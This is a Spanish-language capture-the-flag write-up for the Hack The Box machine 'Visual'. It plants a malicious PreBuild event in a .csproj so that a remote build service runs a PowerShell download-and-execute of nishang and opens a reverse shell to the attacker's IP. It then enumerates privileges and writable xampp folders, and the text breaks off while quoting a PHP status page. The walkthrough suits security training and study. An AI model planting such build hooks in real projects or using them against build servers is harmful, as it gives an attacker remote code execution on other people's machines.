This page looks best with JavaScript enabled

Hack The Box - Visual

Visual compila un proyecto de Visual Studio segun el repositorio dado, utilizamos custom build events dentro de un proyecto para ejecutar una shell. Dentro, ejecutamos una shell en Xampp lo que nos dio acceso como Local Service, obtuvimos de vuelta el privilegio SeImpersonate para luego acceder como System por medio de SharpEfsPotato.

Nombre Visual box_img_maker
OS

Windows

Puntos 30
Dificultad Media
IP 10.10.11.234
Maker

IsThisEnox

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.9, 6.5, 5.7, 4.3, 3.5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[5, 9, 7, 3, 1],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra unicamente el puerto http (80) abierto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.94 scan initiated Mon Oct 23 16:40:18 2023 as: nmap -p80 -sV -sC -oN nmap_scan 10.10.11.234
Nmap scan report for 10.10.11.234
Host is up (0.064s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 23 16:40:31 2023 -- 1 IP address (1 host up) scanned in 12.15 seconds

Web Site

El sitio muestra un servidor apache y PHP 8.1.17.

1
2
3
4
5
6
7
8
 π ~/htb/visual ❯ curl -sI http://10.10.11.234/
HTTP/1.1 200 OK
Date: Mon, 30 Oct 2023 23:11:34 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
X-Powered-By: PHP/8.1.17
Content-Type: text/html; charset=UTF-8

 π ~/htb/visual ❯

La informacion del sitio indica que permite la compilacion de projectos de Visual Studio de un repositorio dado y que tiene soporte para .NET 6.0 y programas en C#.

image

Encontramos un formulario el cual espera una direccion URL y es enviado mediante el metodo post a /submit.php.

image

1
2
3
4
5
6
7
<form action="/submit.php" method="POST">
    <h2 class="h4 mb-4">Submit Your Repo</h2>
    <div class="mb-3">
        <input type="url" name="gitRepoLink" class="form-control" placeholder="Enter Git Repo URL" required>
    </div>
    <button type="submit" class="btn btn-primary">Submit</button>
</form>

Directory Brute Forcing

feroxbuster muestra los recursos del sitio y las direcciones /uploads y /webalizer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 π ~/htb/visual ❯ feroxbuster -u http://10.10.11.234/ -w $MD 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.234/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       30w      302c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       33w      299c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        0l        0w        0c http://10.10.11.234/submit.php
200      GET        7l       36w      336c http://10.10.11.234/js/scripts.js
200      GET        8l       29w    28898c http://10.10.11.234/assets/favicon.ico
301      GET        9l       30w      339c http://10.10.11.234/uploads => http://10.10.11.234/uploads/
200      GET    11559l    23754w   250218c http://10.10.11.234/css/styles.css
200      GET      117l      555w     7534c http://10.10.11.234/
301      GET        9l       30w      338c http://10.10.11.234/assets => http://10.10.11.234/assets/
301      GET        9l       30w      335c http://10.10.11.234/css => http://10.10.11.234/css/
301      GET        9l       30w      334c http://10.10.11.234/js => http://10.10.11.234/js/
503      GET       11l       44w      402c http://10.10.11.234/examples
403      GET       11l       47w      421c http://10.10.11.234/licenses
301      GET        9l       30w      338c http://10.10.11.234/Assets => http://10.10.11.234/Assets/
200      GET        8l       29w    28898c http://10.10.11.234/Assets/favicon.ico
301      GET        9l       30w      335c http://10.10.11.234/CSS => http://10.10.11.234/CSS/
200      GET    11559l    23754w   250218c http://10.10.11.234/CSS/styles.css
301      GET        9l       30w      334c http://10.10.11.234/JS => http://10.10.11.234/JS/
200      GET        7l       36w      336c http://10.10.11.234/JS/scripts.js
403      GET       11l       47w      421c http://10.10.11.234/phpmyadmin
301      GET        9l       30w      339c http://10.10.11.234/Uploads => http://10.10.11.234/Uploads/
403      GET       11l       47w      421c http://10.10.11.234/webalizer
403      GET       11l       47w      421c http://10.10.11.234/server-status

Visual Studio

El sitio espera una direccion de un repositorio, intentamos con un servidor http para ver las solicitudes que realiza el sitio, al enviar una direccion nos muestra un mensaje de espera.

image

Se muestra que intenta acceder al archivo refs.

1
2
3
4
 π ~/htb/visual/www ❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.234 - - [30/Oct/2023 19:23:47] code 404, message File not found
10.10.11.234 - - [30/Oct/2023 19:23:47] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -

Por otro lado el sitio muestra que no encontro el archivo .snl.

image

Project

Con Visual Studio creamos un nuevo proyecto utilizando la plantilla de aplicacion de consola, seleccionando finalmente la version 6.0 de .NET.

image
image
image
image

Nuestro proyecto tiene como codigo una sola linea de hola mundo.

1
Console.WriteLine("Hello, World!");

Repository

Creamos un repositorio para nuestro proyecto utilizando git agregamos el archivo README y realizamos commit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 π ~/htb/visual ❯ mkdir superapp
 π ~/htb/visual ❯ cd superapp 
 π ~/htb/visual/superapp ❯ git init
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint:   git config --global init.defaultBranch <name>
hint: 
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint: 
hint:   git branch -m <name>
Initialized empty Git repository in /home/kali/htb/visual/superapp/.git/
 π superapp master ❯ echo "hey" > README.md
 π superapp master ✗ ❯ git add README.md 
 π superapp master ✗ ❯ git commit -m '1 file.'
[master (root-commit) 1265ccb] 1 file.
 1 file changed, 1 insertion(+)
 create mode 100644 README.md
 π superapp master ❯

Git HTTP Server

Ejecutamos Git HTTP Server el cual permite acceder a repositorios, en este caso ejecutamos el servidor una carpeta por encima de nuestro repositorio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# install
# npm install -g git-http-server
 π superapp master ❯ cd ..
 π ~/htb/visual ❯ ll                     
total 24K
-rw-r--r-- 1 kali kali  590 Oct 30 18:40 nmap_scan
drwxr-xr-x 3 kali kali 4.0K Oct 30 19:36 superapp
drwxr-xr-x 2 kali kali 4.0K Oct 30 28:57 www
 π ~/htb/visual ❯ git-http-server -p 9090
listening on http://0.0.0.0:9090 in /home/kali/htb/visual

Realizamos una prueba, vemos que funciona correctamente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/visual ❯ mkdir tmp
 π ~/htb/visual ❯ cd tmp 
 π ~/htb/visual/tmp ❯ git clone http://0.0.0.0:9090/superapp
Cloning into 'superapp'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 186 bytes | 186.00 KiB/s, done.
 π ~/htb/visual/tmp ❯ ls
superapp
 π ~/htb/visual/tmp ❯ cd superapp 
 π superapp master ❯ ls
README.md
 π superapp master ❯ cat README.md 
hey
 π superapp master ❯

Compile

Agregamos nuestro proyecto de Visual Studio a nuestro repositorio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 π superapp master ✗ ❯ git add .
 π superapp master ✗ ❯ git commit -m 'superdupperapp'
[master fba2596] superdupperapp
 14 files changed, 239 insertions(+)
 create mode 100644 superdupperapp.sln
 create mode 100644 superdupperapp/Program.cs
 create mode 100644 superdupperapp/obj/Debug/net6.0/.NETCoreApp,Version=v6.0.AssemblyAttributes.cs
 create mode 100644 superdupperapp/obj/Debug/net6.0/superdupperapp.AssemblyInfo.cs
 create mode 100644 superdupperapp/obj/Debug/net6.0/superdupperapp.AssemblyInfoInputs.cache
 create mode 100644 superdupperapp/obj/Debug/net6.0/superdupperapp.GeneratedMSBuildEditorConfig.editorconfig
 create mode 100644 superdupperapp/obj/Debug/net6.0/superdupperapp.GlobalUsings.g.cs
 create mode 100644 superdupperapp/obj/Debug/net6.0/superdupperapp.assets.cache
 create mode 100644 superdupperapp/obj/project.assets.json
 create mode 100644 superdupperapp/obj/project.nuget.cache
 create mode 100644 superdupperapp/obj/superdupperapp.csproj.nuget.dgspec.json
 create mode 100644 superdupperapp/obj/superdupperapp.csproj.nuget.g.props
 create mode 100644 superdupperapp/obj/superdupperapp.csproj.nuget.g.targets
 create mode 100644 superdupperapp/superdupperapp.csproj
 π superapp master ❯ ll   
total 12K
-rw-r--r-- 1 kali kali    4 Oct 30 19:36 README.md
drwxr-xr-x 4 kali kali 4.0K Oct 30 17:35 superdupperapp
-rw-r--r-- 1 kali kali 1.2K Oct 30 17:31 superdupperapp.sln
 π superapp master ❯

Enviamos nuestra direccion url de nuestro repositorio, nuevamente nos muestra un mensaje de espera.

image

El log del servidor muestra que se accedieron a dos archivos.

1
2
10.10.11.234 - - [30/Oct/2023:19:47:32 -0400] "GET /superapp/info/refs?service=git-upload-pack HTTP/1.1" 200 - "-" "git/2.41.0.windows.1"
10.10.11.234 - - [30/Oct/2023:19:47:33 -0400] "POST /superapp/git-upload-pack HTTP/1.1" 200 - "-" "git/2.41.0.windows.1"

Luego de unos segundos nos muestra una lista de archivos y mensaje, la compilacion fue exitosa.

image

Tras descargar los archivos realizamos la ejecucion del programa, vemos que se muestra con exito el mensaje esperado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
PS C:\users\sckull\documents\htb\visual\tmp> dir                                                                                                                                                                                           

    Directory: C:\users\sckull\documents\htb\visual\tmp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/30/2023   6:01 PM            434 superdupperapp.deps.json
-a----        10/30/2023   5:50 PM           4608 superdupperapp.dll
-a----        10/30/2023   5:49 PM         147968 superdupperapp.exe
-a----        10/30/2023   6:01 PM            147 superdupperapp.runtimeconfig.json


PS C:\users\sckull\documents\htb\visual\tmp> .\superdupperapp.exe
Hello, World!
PS C:\users\sckull\documents\htb\visual\tmp>

Malicious Project - Visual Studio

Tras investigar sobre proyectos maliciosos de Visual Studio nos topamos con multiples articulos ( 1, 2, 3) que hablan sobre ataques usando proyectos de visual studio con una puerta trasera (backdoor), se menciona el uso de custom build events los cuales se ejecutan al compilar un proyecto, aunque se muestra unicamente para proyectos en C++.

En el caso de proyectos en C# las custom builds events son distintas y se pueden especificar o editar en visual studio, tambien se pueden agregar directamente al archivo del proyecto.

Custom Builds Events

Agregamos un prebuildevent y postbuildevent ejecutando un whoami al archivo .csproj de nuestro proyecto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="whoami" />
</Target>

<Target Name="PostBuild" AfterTargets="PostBuildEvent">
  <Exec Command="whoami" />
</Target>


</Project>

Al compilar nuestra solucion ambos comandos se ejecutaron (localmente).

1
2
3
4
5
6
7
8
# output
Build started...
1>------ Build started: Project: superdupperapp, Configuration: Debug Any CPU ------
1>desktop-jajas\sckull                  # <----- PreBuildEvent
1>superdupperapp -> C:\Users\user\Documents\htb\visual\superdupperapp\superdupperapp\bin\Debug\net6.0\superdupperapp.dll
1>desktop-jajas\sckull                  # <----- PostBuildEvent
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
========== Build started at 7:19 PM and took 00.324 seconds ==========

Test Ping

Agregamos esta vez un ping hacia nuestra maquina esta vez en nuestro repositorio.

1
2
3
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="cmd /c ping 10.10.15.0" />
</Target>

Tras hacer comit y enviar nuestro repositorio al sitio obtuvimos multiples solicitudes de la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π superapp master ✗ ❯ git add .
 π superapp master ✗ ❯ git commit -m 'ping to me'
[master 1b7f5d5] ping to me
 1 file changed, 2 insertions(+), 2 deletions(-)
 π superapp master ❯ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:27:42.323264 IP 10.10.11.234 > kali: ICMP echo request, id 1, seq 1, length 40
21:27:42.323351 IP kali > 10.10.11.234: ICMP echo reply, id 1, seq 1, length 40
21:27:43.338332 IP 10.10.11.234 > kali: ICMP echo request, id 1, seq 2, length 40
21:27:43.338346 IP kali > 10.10.11.234: ICMP echo reply, id 1, seq 2, length 40
21:27:44.350329 IP 10.10.11.234 > kali: ICMP echo request, id 1, seq 3, length 40
21:27:44.350344 IP kali > 10.10.11.234: ICMP echo reply, id 1, seq 3, length 40
21:27:45.356784 IP 10.10.11.234 > kali: ICMP echo request, id 1, seq 4, length 40
21:27:45.356797 IP kali > 10.10.11.234: ICMP echo reply, id 1, seq 4, length 40

User - Enox

Editamos nuevamente agregando la ejecucion de una shell inversa con nishang.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.15.0/nishang.ps1')" />
  </Target>
  
  <!--<Target Name="PostBuild" AfterTargets="PostBuildEvent">
    <Exec Command="cmd /c whoami" />
  </Target>-->

</Project>

Al final del archivo nishang.ps1 agregamos nuestra direccion ip y puerto.

1
2
3
 π ~/htb/www ❯ tail nishang.ps1 -n 1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.0 -Port 1335
 π ~/htb/www ❯ 

Luego de unos segundos de enviar nuestro repositorio obtuvimos una shell inversa como enox.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π repo master ✗ ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.10.11.234: inverse host lookup failed: Unknown host
connect to [10.10.15.0] from (UNKNOWN) [10.10.11.234] 49677
Windows PowerShell running as user enox on VISUAL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\Temp\6a611821b24c46589efb4bbbb16d08\visualapp>whoami
visual\enox
PS C:\Windows\Temp\6a611821b24c46589efb4bbbb16d08\visualapp>

Logrando obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
PS C:\users\enox> cd desktop
PS C:\users\enox\desktop> dir


    Directory: C:\users\enox\desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---       10/24/2023   5:29 PM             34 user.txt                                                              


PS C:\users\enox\desktop> cat user.txt
f7c8abcd62c61e6b417e07d6e1134e5e
PS C:\users\enox\desktop>

Privesc

Observamos los usuarios, vemos al administrador y enox quienes destacan mas, y los grupos de este ultimo no muestran uno interesante.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Windows\Temp\faddcf9f2af0361211fe87c08aadfc\superdupperapp> net users

User accounts for \\VISUAL

-------------------------------------------------------------------------------
Administrator            DefaultAccount           enox                     
Guest                    WDAGUtilityAccount       
The command completed successfully.

PS C:\Windows\Temp\faddcf9f2af0361211fe87c08aadfc\superdupperapp> whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   
PS C:\Windows\Temp\faddcf9f2af0361211fe87c08aadfc\superdupperapp>

Enumeramos los procesos filtrando por enox para verificar si un proceso esta siendo ejecutado como system, no se observa ninguno, el unico que nos llama la atencion es httpd el cual seria el proceso de apache.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS C:\Windows\Temp\faddcf9f2af0361211fe87c08aadfc\superdupperapp> tasklist /v /fi "username ne enox" 

Image Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title                                                            
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================
System Idle Process              0                            0          8 K Unknown         NT AUTHORITY\SYSTEM                                     8:47:41 N/A                                                                     
System                           4                            0        108 K Unknown         N/A                                                     0:00:08 N/A                                                                     
Registry                        88                            0    109,172 K Unknown         N/A                                                     0:00:00 N/A                                                                     
smss.exe                       260                            0      1,192 K Unknown         N/A                                                     0:00:00 N/
[.. snip..]                                                                    
svchost.exe                   2072                            0      5,512 K Unknown         N/A                                                     0:00:00 N/A                                                                     
httpd.exe                     2100                            0     21,116 K Unknown         N/A                                                     0:00:00 N/A                                                                     
svchost.exe                   2132                            0     12,580 K Unknown         N/A                                                     0:00:00 N/A                                                                     
msdtc.exe                     4348                            0     10,492 K Unknown         N/A                                                     0:00:00 N/A                                                                     
svchost.exe                    492                            0     12,432 K Unknown         N/A                                                     0:00:00 N/A                                                                     
svchost.exe                   1108                            0     17,000 K Unknown         N/A                                                     0:00:05 N/A                                                                     
svchost.exe                    644                            0      7,804 K Unknown         N/A                                                     0:00:00 N/A                                                                     
MicrosoftEdgeUpdate.exe       5028                            0      3,864 K Unknown         N/A                                                     0:00:00 N/A                                                                     
svchost.exe                    380                            0     12,980 K Unknown         N/A                                                     0:00:00 N/A                                                                     
svchost.exe                   1768                            0     13,332 K Unknown         N/A                                                     0:00:00 N/A                                                                     
svchost.exe                   4428                            0     21,708 K Unknown         N/A                                                     0:00:00 N/A                                                                     
svchost.exe                   3524                            0     10,312 K Unknown         N/A                                                     0:00:00 N/A                                                                     
PS C:\Windows\Temp\faddcf9f2af0361211fe87c08aadfc\superdupperapp>

Encontramos que es xampp el cual esta ejecutando el sitio web, ademas tenemos permisos de escritura en la carpeta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PS C:\xampp\htdocs> dir


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/10/2023  10:32 AM                assets                                                                
d-----        6/10/2023  10:32 AM                css                                                                   
d-----        6/10/2023  10:32 AM                js                                                                    
d-----       10/30/2023   6:46 PM                uploads                                                               
-a----        6/10/2023   6:20 PM           7534 index.php                                                             
-a----        6/10/2023   4:17 PM           1554 submit.php                                                            
-a----        6/10/2023   4:11 PM           4970 vs_status.php                                                         


PS C:\xampp\htdocs> icacls .
. Everyone:(OI)(CI)(F)
  Everyone:(I)(OI)(CI)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(F)
  BUILTIN\Users:(I)(OI)(CI)(RX)
  BUILTIN\Users:(I)(CI)(AD)
  BUILTIN\Users:(I)(CI)(WD)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\xampp\htdocs>

El index.php unicamente contiene HTML, en el caso de vs_status.php “verifica” el estado de la compilacion.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta name="description" content="" />
        <meta name="author" content="" />
        <title>Visual - Revolutionizing Visual Studio Builds</title>
        <!-- Favicon-->
        <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
        <!-- Bootstrap icons-->
        <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet" />
        <!-- Core theme CSS (includes Bootstrap)-->
        <link href="css/styles.css" rel="stylesheet" />
    </head>
    <body>
        <!-- Responsive navbar-->
        <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
            <div class="container px-lg-5">
                <a class="navbar-brand" href="#!">Visual</a>
                <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button>
                <div class="collapse navbar-collapse" id="navbarSupportedContent">
                    <ul class="navbar-nav ms-auto mb-2 mb-lg-0">
                        <li class="nav-item"><a class="nav-link active" aria-current="page" href="#!">Home</a></li>
                   </ul>
                </div>
            </div>
        </nav>
        <!-- Header-->
        <header class="py-5">
            <div class="container px-lg-5">
                <div class="p-4 p-lg-5 bg-light rounded-3 text-center">
                    <div class="m-4 m-lg-5">
                        <h1 class="display-5 fw-bold">Welcome to Visual!</h1>
                        <p class="fs-4">Experience a revolutionary approach to Visual Studio project compilation with Visual. Say goodbye to the frustrations of build issues on your machine. Simply provide us with your Git Repo link, and we'll handle the rest. Our cutting-edge technology compiles your projects and sends back the executable or DLL files you need, effortlessly and efficiently. </p>
                        <p class="fs-4">We currently support .NET 6.0 and C# programs, so make sure your Git Repo includes a .sln file for successful compilation. Trust Visual to simplify and streamline your project compilation process like never before.</p>
                   </div>
                </div>
            </div>
        </header>
        <!-- Page Content-->
        <section class="pt-4">
            <div class="container px-lg-5">
                <!-- Page Features-->
                <div class="row gx-lg-5">
                    <div class="col-lg-6 col-xxl-4 mb-5">
                        <div class="card bg-light border-0 h-100">
                            <div class="card-body text-center p-4 p-lg-5 pt-0 pt-lg-0">
                                <div class="feature bg-primary bg-gradient text-white rounded-3 mb-4 mt-n4"><i class="bi bi-collection"></i></div>
                                <h2 class="fs-4 fw-bold">Effortless Compilation</h2>
                                <p class="mb-0">No need to stress over build issues. Let Visual do the heavy lifting for you!</p>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6 col-xxl-4 mb-5">
                        <div class="card bg-light border-0 h-100">
                            <div class="card-body text-center p-4 p-lg-5 pt-0 pt-lg-0">
                                <div class="feature bg-primary bg-gradient text-white rounded-3 mb-4 mt-n4"><i class="bi bi-cloud-download"></i></div>
                                <h2 class="fs-4 fw-bold">Direct Download</h2>
                                <p class="mb-0">We compile your code and send back the executables directly to you!</p>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6 col-xxl-4 mb-5">
                        <div class="card bg-light border-0 h-100">
                            <div class="card-body text-center p-4 p-lg-5 pt-0 pt-lg-0">
                                <div class="feature bg-primary bg-gradient text-white rounded-3 mb-4 mt-n4"><i class="bi bi-code"></i></div>
                                <h2 class="fs-4 fw-bold">Support for .NET 6.0 & C#</h2>
                                <p class="mb-0">We are always up to date, supporting the latest .NET 6.0 and C# programs.</p>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6 col-xxl-4 mb-5">
                        <div class="card bg-light border-0 h-100">
                            <div class="card-body text-center p-4 p-lg-5 pt-0 pt-lg-0">
                                <div class="feature bg-primary bg-gradient text-white rounded-3 mb-4 mt-n4"><i class="bi bi-bootstrap"></i></div>
                                <h2 class="fs-4 fw-bold">Seamless Submission</h2>
                                <p class="mb-0">Use our straightforward form to submit your Git Repo links for compiling.</p>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6 col-xxl-4 mb-5">
                        <div class="card bg-light border-0 h-100">
                            <div class="card-body text-center p-4 p-lg-5 pt-0 pt-lg-0">
                                <div class="feature bg-primary bg-gradient text-white rounded-3 mb-4 mt-n4"><i class="bi bi-github"></i></div>
                                <h2 class="fs-4 fw-bold">GIT Integration</h2>
                                <p class="mb-0">Visual integrates seamlessly with your Git repositories. Submitting your projects is just a click away!</p>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6 col-xxl-4 mb-5">
                        <div class="card bg-light border-0 h-100">
                            <div class="card-body text-center p-4 p-lg-5 pt-0 pt-lg-0">
                                <div class="feature bg-primary bg-gradient text-white rounded-3 mb-4 mt-n4"><i class="bi bi-github"></i></div>
                                <form action="/submit.php" method="POST">
                                    <h2 class="h4 mb-4">Submit Your Repo</h2>
                                    <div class="mb-3">
                                        <input type="url" name="gitRepoLink" class="form-control" placeholder="Enter Git Repo URL" required>
                                    </div>
                                    <button type="submit" class="btn btn-primary">Submit</button>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
        <!-- Footer-->
        <footer class="py-5 bg-dark">
            <div class="container px-lg-5"><p class="m-0 text-center text-white">Copyright &copy; Visual 2023</p></div>
        </footer>
        <!-- Bootstrap core JS-->
        <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.1.3/js/bootstrap.bundle.min.js"></script>
        <!-- Core theme JS-->
        <script src="js/scripts.js"></script>
    </body>
</html>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Build Status</title>
    [... snip ...]
</head>
<body>
<?php
$logFilePath = __DIR__ . '/build.output'; // Path to the output file in the current directory

if (file_exists($logFilePath)) {
    $logContent = file_get_contents($logFilePath); // Get the content of the log file as a string

    if (preg_match("/succeeded\./i", $logContent)) {
        // Display directory listing
        $dir = getcwd(); // Get the current working directory
        $files = scandir($dir); // Get the list of files and directories in the directory

        echo "<h2>Download your files:</h2>";
        echo "<p class=\"success\">[+] Build succeeded!</p>";
        echo "<ul>";

        foreach ($files as $file) {
            if ($file != '.' && $file != '..' && $file != 'index.php' && $file != 'build.output') {
                echo "<li><a href=\"$file\" class=\"file-link\" download>$file</a></li>";
            }
        }

        echo "</ul>";
    } elseif (preg_match("/FAILED\./i", $logContent)) {
        // Notify the user about build failure and present the failed content
        echo "<p class=\"failure\">[!] Your build failed. Here are the lines with errors:</p>";
        echo "<div class=\"toggle-code\" onclick=\"toggleCodeBlock()\">Toggle Code</div>";
        echo "<div class=\"code-block\" id=\"codeBlock\">
                <pre>" . htmlspecialchars($logContent) . "</pre>
              </div>";
    } elseif (stripos($logContent, 'Invalid Repo') !== false) {
        // Repository doesn't contain a .sln file or the URL submitted is invalid
        echo "<p class=\"failure\">[-] The repository doesn't contain a .sln file or the URL submitted is invalid.</p>";
    } elseif (stripos($logContent, 'Timed Out') !== false) {
        // Build has timed out
